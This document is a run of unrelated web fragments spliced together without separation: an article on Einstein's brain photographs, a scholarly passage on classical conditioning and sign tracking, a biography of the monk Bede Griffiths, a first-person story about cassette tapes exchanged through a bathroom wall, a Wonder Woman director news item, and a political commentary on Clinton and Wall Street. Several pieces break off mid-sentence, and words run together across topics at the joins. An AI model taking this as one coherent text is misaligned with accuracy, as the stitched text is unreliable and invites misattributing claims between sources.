Every brain has unique nooks and crannies. Aside from sheer curiosity, examining Einstein's brain could yield scientifically valuable insights. "There are strong links between variation in brain anatomy and variations in intellectual ability, period," says Sandra Witelson, a neuroscientist at the Michael G. DeGroote School of Medicine at McMaster University in Ontario.
The story of how the photographs turned up is interesting in itself. In the hours after Einstein's death in 1955, the autopsy pathologist, Thomas Harvey, took dozens of photographs and dissected the physicist's brain into 240 parts for preservation. Harvey's lab made slides for future study. (For more, see Jon Hamilton's "Einstein's Brain Unlocks Some Mysteries Of The Mind.")
Beginning in the 1980s, researchers started asking Harvey for samples — photos, slides and preserved blocks of the actual brain. Observations began to trickle out. In 1999, Harvey and Witelson discovered that not only did Einstein have abnormally wide parietal lobes — associated with math, vision and spatial perception — he also lacked a groove that runs through that region. Their hypothesis: No groove means more connectivity between neurons.
Enlarge this image toggle caption Keystone/Getty Images Keystone/Getty Images
Over the years, researchers have tried to glean a few facts from whatever samples and photographs they could acquire. In 2009, anthropologist Dean Falk, of Florida State University in Tallahassee, noticed that Einstein had unusually patterned parietal lobes and a structural quirk in his brain common in string players and linked to musical ability. But she just had a handful of photos previously published by Witelson to go on.
Harvey died in 2007. His estate donated a special collection of slide and photo specimens and a road map of the brain to the National Museum of Health and Medicine in Silver Spring, Md., in 2010. For the first time, Falk and her colleagues had access to a more complete set of evidence.
So what did they find? Well, they analyzed 14 of these photographs and compared the visible parts of Einstein's outer brain with 85 human brains previously described in scientific studies. "Einstein's brain differs from the average human brain," says Falk. "In various parts, it's more convoluted. It's bumpier, and that may be related to an increase in the neurons."
The museum released an iPad app to view the slides back in September.
Witelson says the new analysis and photos may encourage other scientists to take a crack at Einstein's brain. "Einstein's aura lives on," she says.As I noted earlier, part of the impetus for the term emitted was to distinguish operant behavior from respondent behavior and respondent or classical conditioning. The prevailing view was that respondents were entirely reflexive, concerned with the internal physiology of the organism rather than interactions with the external environment, and involved transferring the control of a reflex from an unconditioned to a conditioned stimulus. In this section I will discuss how all three of these presumed features are neither universal nor defining characteristics of classical conditioning as currently conceptualized.
Magazine training Some of the evidence against Skinner's characterization of classical conditioning was available from his own experiments. As everyone knows who has trained a rat to press a lever with food reinforcement, a critical preliminary step is magazine training. Magazine training is typically described as a classical or “respondent” conditioning procedure in which the sound of the operation of the food magazine is the conditioned stimulus (CS) and the resultant food delivery is the unconditioned stimulus (US). This is not operant conditioning because the rat does not have to do anything for the food pellet to be delivered. In magazine training, the scheduling of CS and US presentations and the spacing of trials are all carried out irrespective of what the rat is doing. The rat's unconditioned response in magazine training is handling and eating the food pellet. The response to the CS that develops (and hence what we can call the conditioned response) is approaching the food cup when the CS is presented. Notice that this conditioned response is a complex behavior that is guided by external stimuli and directed toward a specific environmental location. Approaching the food cup is not a reflex‐like response. Furthermore, it is not the same as the UR elicited by food (food‐handling and chewing). Thus, if we accept the common characterization of magazine training as a form of Pavlovian conditioning, we should recognize that magazine training violates Skinner's characterization of Pavlovian conditioning as the transfer of control of reflex behavior from a US to a CS. One may suggest that the food‐cup approach response that develops in magazine training is an operant response reinforced by the food pellet. However, recent research on sign tracking and goal tracking (see below) indicates that a contingency between the approach response and food delivery is not necessary for the development of food‐cup approach (e.g., Harris, Andrew, & Kwok, 2013). Thus, the common characterization of magazine training as a form of Pavlovian conditioning is vindicated by experimental evidence.
The conditioned emotional response procedure Another Pavlovian conditioning procedure that Skinner was familiar with is what we now call fear conditioning. Estes and Skinner (1941) pioneered a method for studying fear conditioning that has come to be called the “conditioned emotional response” or CER procedure. In this procedure, the unconditioned stimulus is foot‐shock and the CS is a tone paired with the US. The conditioned fear response is evident is the suppression of ongoing food‐reinforced lever pressing. The unconditioned response to shock is a rather sudden and violent lurch that has a very short latency and looks to be highly reflexive. In the contemporary literature, this is called the circa strike response. The response to the CS looks nothing like that. It is a much longer freezing or immobility response. Thus, this is another case in which the conditioned response looks nothing like the unconditioned response and the conditioning is not just transfer of control of a reflexive response from the US to a CS. Interestingly, Estes and Skinner recognized this from the outset of their work. Writing in the introduction to their 1941 paper, they noted that, “In anxiety, the response which is developed to S 1 need not be like the original response to S 2 ” (where S 1 and S 2 refer to CS and US, respectively; p. 390). Evidently, Skinner ignored his own work with Estes when he subsequently characterized respondent conditioning as the transfer of the control of a reflex from one stimulus to another.
Differences in conditioned response topography depend on the CS Another line of evidence against the proposition that respondent or classical conditioning is the transfer of the control of a reflex from a US to a CS, is that the nature of the conditioned response (CR) depends in part on the nature of the CS. This was first demonstrated in a dramatic fashion by Timberlake and Grant (1975). Rats received a conditioning procedure in which food served as the US. The CS for the impending presentation of food was the introduction of another rat. The conditioning procedure increased responding to the CS rat but the responses were not like the handling and ingestive responses that occurred when the rats received food pellets. Rather, the conditioned responses were increased social affiliative behaviors such as orientation, approach, sniffing, and social contact (see also Timberlake, 1983). If the CS was a rat‐sized wood block, only the orientation CR developed. Notice that orientation, approach, sniffing, and social contact are not “reflexive” responses like an eyeblink or a knee‐jerk response. Following the Timberlake and Grant study, numerous other instances have been found of differences in conditioned behavior as a function of the nature of the CS. Holland (1977) demonstrated that with rats conditioned with food as the US, a light elicits rearing as the CR whereas a tone elicits a head‐jerk movement. In the sexual conditioning of male quail, if the CS is an environmental context, the CR is increased preference for that context (Akins, 1998) and increased responsiveness to female cues (Hilliard, Nguyen, & Domjan, 1997). If the CS is a light or a three‐dimensional object, the CR is approach to the CS (Burns & Domjan, 2000). If the CS has a shape and texture that will support copulatory behavior, the CR will include grabs, mounts, and copulatory thrusts (e.g., Köksal et al., 2004; Çetinkaya & Domjan, 2006). Another important CS dimension is the extent to which the CS is a natural precursor of the US in the ecology of the organism (Domjan, Cusato, & Krause, 2004). More ecologically relevant CSs elicit a wider range of conditioned responses and become conditioned more rapidly.
Differences in conditioned behavior depending on the CS–US interval If classical conditioning were just the transfer of the control of a reflex from a US to a CS then the nature of the conditioned response should not depend on the CS–US interval. One might expect longer CS–US intervals to produce less learning and weaker conditioned responding, but one would not expect that conditioned behaviors that were not seen with a short CS–US interval would emerge when the CS–US interval was increased. Contemporary investigations of Pavlovian conditioning have provided just such evidence. Akins (2000) conditioned male quail in a sexual conditioning procedure in which copulatory access to a female served as the US. In one part of her experiment, a foam block was presented as the CS for either 1 min or 20 min on each conditioning trial. Each CS ended with presentation of the US. As expected, with the 1‐min CS–US interval, the male quail came to approach the vicinity of the CS as the conditioned response. Such conditioned approach behavior did not occur in birds conditioned with the 20‐min CS–US interval. However, those birds showed increased locomotor behavior when the CS was presented. Silva and Timberlake (1997) also examined the effects of the CS–US interval on the conditioned responses that emerged as a result of classical conditioning. The US was the presentation of food at the end of a tone (the CS) that was on for either 4 s or 16 s. With the short CS–US interval, the rats came to approach the food cup when the tone was presented. This conditioned approach behavior did not occur when the CS–US interval was 16 s. In fact, with the longer CS–US interval, Silva and Timberlake did not notice any learning until they released a rolling ball bearing during the CS. Rats conditioned with the 16 s CS–US interval were much more likely to make contact with and manipulate the ball bearing than rats conditioned with the shorter CS–US interval. There are several noteworthy aspects of Silva and Timberlake's (1997) findings. First, neither group showed conditioned behavior directed towards or elicited in a reflexive fashion by the tone. For the short CS–US interval group, the tone increased the effectiveness of food cup cues in stimulating approach behavior. For the long CS–US interval group, the tone increased the effectiveness of a small rolling object in eliciting approach and manipulatory behavior. In both cases, the tone increased responses directed toward specific features of the environment. Thus, these responses were as much guided by environmental cues as they were controlled by antecedent stimuli.
Misbehavior and classically conditioned manipulative responses One of the major challenges in the history of the experimental analysis of behavior was the discovery of instances of “misbehavior” by Marian and Keller Breland, two of B. F. Skinner's former students. Using the principles of operant conditioning to create amusement park displays, they explored operant conditioning with animals rarely used in laboratory experiments (Breland & Breland, 1961). In many of the instances of “misbehavior” that they discovered, animals were required to give up an object by either depositing it into a slot (“bank”) or tossing it out to members of the audience. A pig, for example, was required to pick up a token and deposit it into a slot (a “piggy bank”) for food reinforcement. It performed successfully at first but as training progressed, it started rooting and tossing the coin rather than releasing it into the slot. From the perspective of operant conditioning, the rooting and tossing responses were “misbehavior” because they were not shaped or ever reinforced by food. In fact, the misbehaviors delayed the delivery of the reinforcer. Skinner was familiar with the work of Breland and Breland and attributed instances of “misbehavior” to the intrusion of responses that were the products of phylogenetic contingencies (Skinner, 1969, p. 190). The idea was that misbehaviors were instinctive responses shaped by evolution. In fact, Breland and Breland (1961) used the phrase “instinctive drift” to characterize the gradual emergence of misbehaviors during their training protocols. Behavior analysts seem to have been satisfied with these accounts of the misbehavior findings. The work of Breland and Breland is no longer mentioned in recent texts on applied behavior analysis (Cooper et al., 2007; Michael, 2004; Miltenberger, 2015). That is unfortunate because research subsequent to the work of the Brelands has shown that classical conditioning mechanisms provide much greater insight into cases of misbehavior than calling them “instinctive drift” or attributing them to “phylogenetic contingencies.” Contemporary perspectives suggest that misbehavior is not unique in reflecting an interaction between phylogenetic and ontogenetic contingencies. All instances of conditioning represent such an interaction. Thus, the mechanisms responsible for the “misbehavior” identified by Breland and Breland are relevant to all forms of operant conditioning. Fortunately, some investigators sought more precise explanations for instances of misbehavior than the labels “instinctive drift” and “phylogenetic contingencies” provide. Boakes, Poli, Lockwood, and Goodall (1978) created an experimental model to study misbehavior. Laboratory rats were required pick up a small ball bearing, and release it into a hole in the opposite corner of the experimental chamber for food or water reinforcement. The rats learned to pick up the ball bearing but most of them developed difficulties releasing it into the hole. One rat would “sit by the hole, repeatedly alternating between putting the ball to its mouth and turning it in its paws, before eventually dropping it in the hole. Occasionally, some rats showing this pattern would rapidly retrieve the ball from the hole before it rolled out of reach” (p. 118). The misbehavior was more pronounced when food rather than water was used as the reinforcer and when the balls were made of plastic rather than steel. Boakes et al. (1978) interpreted their findings of misbehavior as reflecting classical conditioning (or what they called the “stimulus–reinforcer contingency”) because the ball bearings were paired with food. Presumably, the CS–reinforcer relation created classically conditioned behavior that involved holding onto the ball bearings. Boakes et al. noted that the rats ignored any ball bearings put into their home cages before the experiment and did not hold onto the ball bearings until they had experienced a number of successful releases of the ball that were reinforced. In their view the operant response of releasing the balls into the hole was disrupted by the classically conditioned response of holding onto the balls. Timberlake, Wahl, and King (1982) provided direct evidence for the classical conditioning interpretation. In their experiments, a ball bearing rolled in a channel from one corner of the experimental chamber to the other. For some rats, the ball bearing was paired with food reinforcement using a classical conditioning procedure that did not have any response requirements. For another group, food reinforcement was provided only if the rats made contact with the ball bearing. Regardless of the type of procedure that was used, the rats showed significant increases in orientation, approach, and contact with the ball bearings. Furthermore, this behavior persisted when an omission contingency was added that cancelled food delivery if the rats contacted the ball bearing on a particular trial. In their original report, Timberlake et al. (1982) expressed some skepticism about a classical conditioning interpretation of misbehavior because such an interpretation did not fit characterizations of classical conditioning that were common at the time, including the assumption that classical conditioning operated entirely by stimulus substitution. However, in reviewing the evidence some years later, particularly in the context of changing views of classical conditioning, Timberlake (1990) wrote “In short, misbehavior occurs because operant contingencies promote pairings between stimuli [CSs] and rewards [USs], thereby engaging naturally occurring components and sequences of appetitive behavior” (p. 52).
Classical conditioning of key pecking in pigeons Many considered instances of “misbehavior” as special cases or exceptions to general rules of learning and relegated these phenomena to what came to be called “biological constraints on learning” (Domjan, 2008). After all, general principles of operant behavior were being established by studying “arbitrary” operants such as lever pressing in rats (Skinner, 1938) and key pecking in pigeons (Ferster & Skinner, 1957), rather than pigs putting coins in a piggy bank. Unfortunately, comfort in thinking about these more familiar responses as arbitrary operants has been challenged by numerous studies in the last few decades suggesting that lever pressing in rats and keypecking in pigeons are just as much reflections of “phylogenetic contingencies” as were the misbehaviors described by Breland and Breland (1961). One way to think about these issues is to borrow some of the language of Thorndike (1911) who also reported biological constraints in his research on how animals learned to escape from various puzzle boxes. In one of his boxes, the cats had to yawn to get out of the puzzle box. In another, they had to scratch themselves. Neither of these responses got stamped in as well as operating an escape latch. Thorndike interpreted these findings with the concept of “belongingness.” It seemed to him that neither yawning nor scratching “belonged” with escape from confinement, and that is why those responses did not get reinforced (see Domjan, 1983, for a more detailed analysis). Investigators have discovered in the last few decades that key pecking in pigeons and lever pressing in rats are not “arbitrary” but in fact “belong with” food, in the Thorndikian sense. That is, phylogenetic contingencies have shaped the evolution of pigeons and rats such that pecking and lever pressing are highly likely as responses to conditioned stimuli or signals for food. To detect a phylogenetically shaped behavior, the best approach is to use a classical conditioning procedure in which no particular response is required to obtain a reinforcer. The reinforcer (e.g., food) is given periodically without regard to what the animal has recently done. The only contingency is that a signal or stimulus is provided just before the food delivery. Brown and Jenkins (1968) were the first to do such an experiment with pigeons. Instead of shaping key pecking with food reinforcement, they conducted classical conditioning in which each trial consisted of the illumination of a key light, ending with access to food. The pigeons did not have to do anything for the food to be delivered. Under these circumstances, one might predict that the “smartest” strategy would be for the pigeons to wait at the food cup. But, they did not do that. They pecked the key light. This finding occurred not only in a conventional (small) experimental chamber but also in a “long box” where the key light was about 90 cm from the food hopper (Hearst & Jenkins, 1974). Brown and Jenkins (1968) labeled their discovery “autoshaping” because key pecking emerged without conventional shaping of the behavior. However, a more appropriate label for the phenomenon is “sign tracking” because it involves animals approaching and tracking stimuli that have been classically conditioned with an appetitive US. In many of these experiments, food was the US. But sexual reinforcement also results in sign tracking (Burns & Domjan, 2000). In fact, in the sexual situation, we have found that male quail will approach a sexual CS that is more than 2 meters from the sexual US. Furthermore, once the behavior has been established to a CS presented on one wall of a large arena, the approach response will persist when the CS is moved to other walls of that arena. This shows that the classically conditioned behavior is not reflexive but is highly coordinated with (and guided by) environmental stimuli.
Classical conditioning of lever pressing in rats The first study of classical conditioning of lever pressing was published by Peterson, Ackil, Frommer, and Hearst in 1972. They used an unusual retractable lever as the conditioned stimulus. The lever had a series of holes so that when it was inserted into the experimental chamber, the lever was illuminated through those holes. Conditioning trials consisted of inserting the lever for 15 s followed by the delivery of food into a cup. The classical conditioning procedure generated lever contact responses that sometimes also depressed the lever. However, given the unusual nature of these response levers, one might question the relevance of these findings for responding on a more conventional lever. Encouraged by the findings of Peterson et al. (1972), others soon examined the classical conditioning of lever pressing in rats using more conventional response levers that did not light up when they were inserted into the experimental chamber. The “standard” procedure that has evolved in this line of research involves two conventional retractable levers. The presentation of one lever is paired with food whereas periodic presentation of the other does not end in food. Lever contacts and lever presses typically occur to the food‐paired lever but not to the other lever, indicating that the CS–US pairing is necessary for the development of the behavior (Stiers & Silberberg, 1974; Davey, Oakley, & Cleland, 1981). Such results provide strong evidence that lever contacts and lever presses are not “arbitrary” in a food reinforcement paradigm. Rather, as Thorndike might say, lever pressing “belongs with” food reinforcement. Research on classical conditioning of nonreflexive environment‐directed responses with food does not always result in sign tracking. In an early study, Cleland and Davey (1983) examined conditioning of a localized visual stimulus and a localized auditory stimulus. Each stimulus was 35 cm from the food cup. A classical conditioning procedure was used. Thus, the rats did not have to do anything for the food to be delivered after each CS. The rats came to approach the visual cue as conditioning proceeded. In contrast, the auditory CS generated approaches to the food cup or goal tracking behavior (see also Meyer, Cogan, & Robinson, 2014). Sign tracking and goal tracking are both conditioned responses. They require pairings of a CS with a US. As Cleland and Davey (1983) showed, which conditioned response develops depends on the CS that is used. We have found that variations in the relative duration of the CS relative to the time spent in the experimental context also determines whether the predominant CR is sign tracking or goal tracking (Burns & Domjan, 2001). In other research, investigators have found that some experimental arrangements do not produce predominantly one or the other type of conditioned response. Rather, whether conditioned response is sign tracking or goal tracking depends on individual differences that are related to neurobiological variations in how those individuals react to rewards and signals for reward (Flagel, Watson, Robinson, & Akil, 2007). The idea that key pecking and lever pressing may not be arbitrary operants but in fact responses that biologically “belong with” food reinforcement has not been accepted with open arms in the behavioral analysis community. Investigators (e.g., Herrnstein & Loveland, 1972) looked for operant contingencies to explain the emergence of key pecking and lever pressing in classical conditioning procedures. The predominant approach to testing operant accounts of sign tracking and autoshaping has been to test an omission control procedure. The omission control is basically a classical conditioning procedure in which a CS is paired with a US irrespective of what the organism is doing. However, there is an added contingency, such that if the CR of interest occurs on a given trial, the US is omitted on that trial. Thus, with the omission control, the CR cannot be reinforced by the US. Numerous experiments have been done testing the omission control procedure in studies of sign tracking and goal tracking (e.g., Harris, Andrew, & Kwok, 2013; Williams & Williams, 1969). Space limitations do not permit me to discuss the results in detail. The general story that emerged is that acquisition of sign tracking responses occurs even with an omission control procedure. However, the procedure typically does not produce levels of responding as high as a standard classical conditioning procedure. Interestingly, if one looks more closely at what the animals are doing, one finds that signal‐centered behavior persists in omission training but may take other forms. For example, Davey, Oakley, and Cleland (1981) found that when they instituted an omission contingency on classically conditioned lever presses, the rats shifted to nonpress contact responses (pawing, nosing, and licking the lever).SORT BY: Availability Alphabetical (A-Z) Brand Name (A-Z) Price (Highest to Lowest) Price (Lowest to Highest) Rating Newest Relevance
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Bede Griffiths OSB Cam[1] (17 December 1906 – 13 May 1993), born Alan Richard Griffiths and also known by the end of his life as Swami Dayananda ("bliss of compassion"), was a British-born Benedictine monk and priest who lived in ashrams in South India and became a noted yogi. He became a leading thinker in the development of the dialogue between Christianity and Hinduism. Griffiths was a part of the Christian Ashram Movement.
Biography [ edit ]
Early years [ edit ]
Griffiths was born in Walton-on-Thames, Surrey, England, at the end of 1906, the youngest of three children of a middle-class family. Shortly after Griffiths' birth, his father was betrayed by a business partner and was left penniless. His mother took the children and established residence in a smaller home which she maintained, though she had to find work to support herself and the children. At age 12, Griffiths was sent to Christ's Hospital, a school for poor boys.[2] The students of this school were nicknamed "bluecoats". He excelled in his studies and earned a scholarship to the University of Oxford where, in 1925, he began his studies in English literature and philosophy at Magdalen College. In his third year at university he came under the tutelage of C. S. Lewis, who became a lifelong friend. Griffiths graduated from Oxford in 1929 with a degree in journalism.
Shortly after graduation Griffiths, with fellow Oxford alumni Martyn Skinner and Hugh Waterman, settled in a cottage in the Cotswolds and began what they called an "experiment in common living".[3] They followed a lifestyle attuned to nature, milking cows and selling the milk to support themselves. They would read the Bible together as a form of literature. Griffiths noted a strong connection between the teachings of Scripture and the rhythm of the nature around them. The experiment lasted less than a year, as one of the friends found the life too demanding. Nevertheless, the experience had a strong effect on Griffiths.
As a result of this experience, Griffiths decided to seek Holy Orders in the Church of England. He was advised, however, to gain some experience in the slums of London. This advice was so contrary to what Griffiths felt to be his vocation that it drove him to a crisis of faith, which nearly drove him to an emotional breakdown.[citation needed] Guided by the writings of Cardinal Newman, he reached a point in this struggle where he had a spiritual breakthrough. He recounts the story of his conversion in his autobiography The Golden String.
In November 1931, Griffiths went to stay at the Benedictine monastery of Prinknash Abbey where he was impressed by the life. Despite the strong anti-Roman Catholic sentiments of his mother, he was received into the Roman Catholic Church and made his First Communion at Christmas Eve Mass at the abbey.
Benedictine monastic life [ edit ]
Griffiths was received by the abbey as a postulant a month after his reception into the Catholic Church. On 29 December |
this big roll of toilet paper, you know, they put them in these plastic casings and you push a lever and pull out some of the paper to dry your hands with, you know what I’m talking about, right? It was hanging on the back wall of the bathroom. Anyway, where it used to be hanging there was a hole. Apparently E. had heard some sort of scratching or shuffling behind it, and, in a moment of poor judgment decided, to pry it off the wall. Behind it was a hole in the wall through which you could see the insulation and other crap, I figured that they had made it accidentally or found it there and decided to cover it up as conveniently as possible. There was something else in there, of course. It was a cassette tape labeled “EXCHANGE”.
Back then everyone here was still using and buying cassettes for everything, which was very convenient for us because, as we would find out later, they were one of our safe mediums. Not anymore, of course. Now we’re reduced to vinyl and handwriting. Pretty pathetic.
Anyway it was your pretty standard cassette which you can buy in bulk, it had a label on it saying “EXCHANGE”, written crudely in marker. E. was like, what is that? Who do you think left it there? I didn’t really know what to tell her. Needless to say it was pretty weird. I think that at some point some other girl came into the bathroom, saw us peering at the hole in the wall, turned on her heel and walked right back out. We’re pretty lucky none of the staff caught us tearing their bathroom down.
We couldn’t play the tape there, as we had no way of doing so. I was ambivalent about taking it, this wasn’t my first experience with “Weird Shit”, and, although this wasn’t particularly weird, I had a very potent feeling that it could become so. But E. was determined to take it and find out what was in it, for some reason. The cassette was unmarked other than the label. So we took it, tried to get the paper roll back on the wall, sort-of succeeded (it was hanging, lopsided), and drove back to my house.
Back at my place, which was empty those days, I didn’t have a radio or anything with a cassette player for some reason. I dug out my Walkman but I didn’t have batteries and I doubt it would have worked either way. So we ended up having to climb into my Dad’s car to use the built-in cassette player. It was a pretty funny scene, the two of us sitting there in anxious expectation.
So we sat there and listened to most of it. It was really bad quality, you might not remember that tape hiss was already pretty annoying but on top of that it sounded like it had been recorded from a distance or something, like it was a recording of a recording of a recording. Anyway, there isn’t anything particularly weird about that tape. It’s just a mixtape of sixties psychedelia. There some stuff from Kaleidoscope on there, mainlyTangerine Dream, and there’s some Beatles, obviously, and there’s other stuff, but E. and I weren’t really into that genre so we didn’t listen to it all the way. Later on, on my own, I would listen through the whole thing out of curiosity, but as I said, beyond the quality of the recording, there’s nothing special about it.
But this is when we realized that, since the tape was labeled “EXCHANGE”, maybe we were supposed to leave something in return. You know, leave something in the hole in the bathroom, for whoever it was that left this there. The idea struck us as silly. But by that time school wasn’t over yet, and we didn’t have anything better to do, so, armed with one of my many mixtapes, which are sort of a hobby of mine, we drove back to Miranda.
We talked to each other on the way back there and speculated on what kind of person might be leaving these tapes, and whether she (we assumed it was a she, since it was the ladies’ room after all) really expected someone to find them in that hiding spot. We wondered if it was some college student’s social experiment; actually, that’s what I thought for the most part. E. had her own theory. She thought it was some desperate woman, living a lonely life imposed upon her by her family, who had no form of expressing herself, and, in this desperation, reached out to strangers by leaving cassettes tapes hidden in public places throughout the city, checking back every week, hoping that some equally lonely soul had found one of them and given something back in return. I’m pretty sure she was projecting.
We got back to the supermarket and, happily, none of the people working there seemed to recognize us, Miranda is usually pretty busy at that time of day. We both walked into the ladies’ room again. Luckily, the canister or toilet paper holder or whatever you wanna call it was still hanging on, albeit only slightly. We picked it up with care and put my mixtape, which, now that I think about it, was mostly grunge (God, that’s embarrassing), in the hole. We figured that maybe we should leave a message. So we ripped off a piece of toilet paper and scribbled onto it, “THANK YOU”, quite crudely, and we left it in there along with the tape. We put the canister back in its place—we had sort of gotten the hang of getting it to stay there—and left, mostly laughing about the whole thing. Later that day we met up with the rest, but didn’t tell them anything, figuring it would be more fun for now if it was our secret.
The next day E. and I debated over whether we should go back to Miranda and check if there was a new tape. I mostly wanted to forget about the whole thing, because frankly I didn’t think anyone was actually checking that hole to see if someone had responded. I figured it was a fluke, or something that had been left there years ago, and whoever had done it had forgotten it about it. E. didn’t buy it, though. She was certain that whoever had left that tape was actively checking back. I managed to convince her that we should go back next weekend, because even if her theory was true, I doubted that our hypothetical swap partner was checking the Miranda bathrooms every day. Then again what do I know. Maybe he was some pervert looking to get in touch with schoolgirls via public bathrooms.
The rest of the week went by rather slowly, A. was fully into whatever he was doing back then, I think it was Muay Thai or Valetudo or whatever it’s called, it was some kind of martial arts thing, so we didn’t see much of him. B. and F. were off doing their own thing, and anyway we didn’t want to tell anyone about it. So we just hung out at home (I think we ended up skipping three out of those five days of school, it was terrible), watching movies and talking.
I actually ended up learning a lot of stuff about E. back then (much to F.’s pleasure, who was totally crazy for her at the time), but she kept her mouth shut about her parents for the most part. On Friday we drove back to Miranda upon E.’s bequest and went in there again. Sure enough, our mysterious correspondent had been very busy.
The mixtape we left had been taken alright. In its stead a new cassette had been left, exactly the same model as the previous one. This one had a label that was really long and badly-written, and inside that dingy bathroom we couldn’t read it for shit, so we went back to the car. This time around we had taken my Dad’s car in anticipation, since that way we could play it immediately on the way back home. We got in the car and rolled down the windows, E. took the opportunity to light a cigarette. She put the tape in and read the label out loud, not without some effort:
“Soundtrack to a Manic Night of Preparation Before an Important Challenge”
She looked at me, shrugged, and I pushed play. This time the tape was a combination of New Wave stuff, I especially remember “Bizarre Love Triangle” because, although I probably wouldn’t admit it to anyone, I love that song, and then there was also really quiet folk. It went something like this: Bombastic New Wave –> Folk –> Silence –> Folk –> New Wave again, and so on. All in all it lasted about 25 minutes per side. We finished listening to it at my place and were mostly unimpressed.
As with the previous tape, this one had a terrible recording quality. Again, it was like a recording of a recording of a recording. We could recognize most of the songs, and for the ones we couldn’t, we usually knew the artist. Later I asked B. about some of them, without directly telling him about the whole cassette exchange thing, and he confirmed most, I think. The most interesting parts were the silent ones.
In between folk songs there were these tracks which were mostly silence and tape hiss, but you could hear some shuffling and moving things around as well, and in one of them you can hear a voice. It’s really faint, but I’m pretty sure it’s female. And there are these hints of musicality to them, like very softly you’ll hear a sax in the distance play for just like ten seconds and then it’s gone. I’m not sure if those were live recordings or more recordings-of-recordings. And then in another “silent track”, if you listen really closely, you can hear someone talking steadily in the background, I’d say it’s an older man, he sounds like he’s answering questions, but the quality is too bad for me to make out a word.
E. was really excited about the whole thing regardless; just the fact that the person had actually responded was great to her. Admittedly I was surprised by that as well. E. said that the exchange was still going, and we should leave something else for the person the next time we went there. We decided that “next time” would be tomorrow.
This time we put a lot of thought into what kind of tape we were going to leave in return. We speculated about whether leaving different kinds of music resulted in getting different things in exchange. Whoever was doing this was putting so much effort into it, we figured, that surely she(?) must be listening to our stuff as well. I found a bootleg of a band I used to like, they never got big, so it’s not like the tape was worth anything, and its sentimental value to me was gone after a certain incident. So I decided we would do that. We weren’t very creative, and we didn’t consider the tape to be a “Soundtrack” to anything, so we just wrote “Here’s another one” on the label. Nice, I know.
We drove back there, it was a Saturday morning and again we went in Dad’s car, though I’m not sure why. We wMichelle MacLaren has dropped out of directing Wonder Woman due to what the parties involved are calling creative differences.
“Given creative differences, Warner Bros. and Michelle MacLaren have decided not to move forward with plans to develop and direct Wonder Woman together,” the studio said in a statement.
While the specific differences that led to the split are not known, it inevitably carries echoes of an incident in 2011 when Marvel and director Patty Jenkins also parted ways. Jenkins had been tapped to direct Thor 2, which would have made her the first female director of a Marvel movie. But when she and Marvel hit an impasse, that movie, which came to be titled Thor: The Dark World, was turned over to Alan Taylor. The fact that both MacLaren and Jenkins off their respective projects is sure to raise the question of whether women filmmakers are welcome in the world of high-stakes, superhero movies.
MacLaren, an experienced TV showrunner and director, was to have made her feature directorial debut with Wonder Woman. She's proven herself adept at handling genre material with directing credits that include episodes of Breaking Bad, The Walking Dead, Game of Thrones and, most recently, Better Call Saul.
MacLaren was hired in November to great fanfare to helm the movie, to which Gal Gadot is attached to star. Her hire capped off months of searching by Warners, which sought out a female director for the project, which centers around the preeminent superheroine in comicdom.
Like many of its DC Comics-derived superhero movies, Wonder Woman has been developed on multiple tracks with various writers working on scripts, and MacLaren had been heavily involved in shaping those scripts.
It is unclear whether MacLaren's departure will affect the movie's scheduled release — it has been slotted for 2017.Yves here. It’s hardly a secret that the Clintons are deeply loyal to Wall Street. Bob Rubin and his numerous well-heeled followers are a powerful, arguably dominant, faction in the Democratic party, and they are tightly aligned with the Clintons.
Nomi Prins gives a useful overview of how Hillary has attempted to blame the financial crisis on everything but the deregulation that her husband supported and the reckless behavior that resulted and how her anti-bank noises, like her criticism of Wells Fargo, is tepid and late in coming.
However, I quibble with some of her article. It’s surprising to see her single out Gary Gensler, former head of the CFTC, as a bank crony. Gensler is widely seen as pushing for much tougher oversight and enforcement despite being in the disadvantaged position of being at a secondary regulator. Recall that he was up against Bernanke and Geithner, a weak Mary Shapiro at the SEC, and an indifferent-to-captured Obama at the helm.
It’s also surprising to see Prins fail to mention the cronies rumored to be Clinton’s top picks for Treasury Secretary: Larry Fink of BlackRock and Tony James of Blackstone. Both firms would profit ginormously if the Wall Street looting plan that Hillary supports and James is promoting, that of having all workers pay 3% of their pay into mandatory retirement accounts, were to become law.
As we’ve indicated, the cost of this “fix” is greater than any of the ideas proposed to shore up Social Security (as opposed to cut it by stealth). I hate to say it, but I believe Prins’ failure to flag this risk is due to her still hewing to orthodox financial views and thus believing that Federal deficits are a problem, as opposed to desirable, most of the time, and regarding senior members of the asset management heavyweights as less dangerous than executives of TBTF banks. Since even the modest re-regulation that has taken place since the crisis has increased shadow banking, and firms like Blackrock and Blackstone are major players, it would be naive to depict them as problem-free and disinterested.
By Nomi Prins, a former Wall Street executive and the author of six books of which the most recent is All the Presidents’ Bankers: The Hidden Alliances That Drive American Power (Nation Books). Originally published at TomDispatch
As this endless election limps toward its last days, while spiraling into a bizarre duel over vote-rigging accusations, a deep sigh is undoubtedly in order. The entire process has been an emotionally draining, frustration-inducing, rage-inflaming spectacle of repellent form over shallow substance. For many, the third debate evoked fatigue. More worrying, there was again no discussion of how to prevent another financial crisis, an ominous possibility in the next presidency, whether Donald Trump or Hillary Clinton enters the Oval Office — given that nothing fundamental has been altered when it comes to Wall Street’s practices and predation.
At the heart of American political consciousness right now lies a soul-crushing reality for millions of distraught Americans: the choices for president couldn’t be feebler or more disappointing. On the one hand, we have a petulant, vocabulary-challenged man-boar of a billionaire, who hasn’t paid his taxes, has regularly left those supporting him holding the bag, and seems like a ludicrous composite of every bad trait in every bad date any woman has ever had. On the other hand, we’re offered a walking photo-op for and well-paid speechmaker to Wall-Street CEOs, a one-woman money-raising machine from the 1% of the 1%, who, despite a folksiness that couldn’t look more rehearsed, has methodically outplayed her opponent.
With less than two weeks to go before E-day — despite the Trumptilian upheaval of the last year — the high probability of a Clinton win means the establishment remains intact. When we awaken on November 9th, it will undoubtedly be dawn in Hillary Clinton’s America and that potentially means four years of an economic dystopia that will (as would Donald Trump’s version of the same) leave many Americans rightfully anxious about their economic futures.
None of the three presidential debates suggested that either candidate would have the ability (or desire) to confront Wall Street from the Oval Office. In the second and third debates, in case you missed them, Hillary didn’t even mention the Glass-Steagall Act, too big to fail, or Wall Street. While in the first debate, the subject of Wall Street only came up after she disparaged the tax policies of “Trumped-up, trickle down economics” (or, as I like to call it, the Trumpledown economics of giving tax and financial benefits to the rich and to corporations).
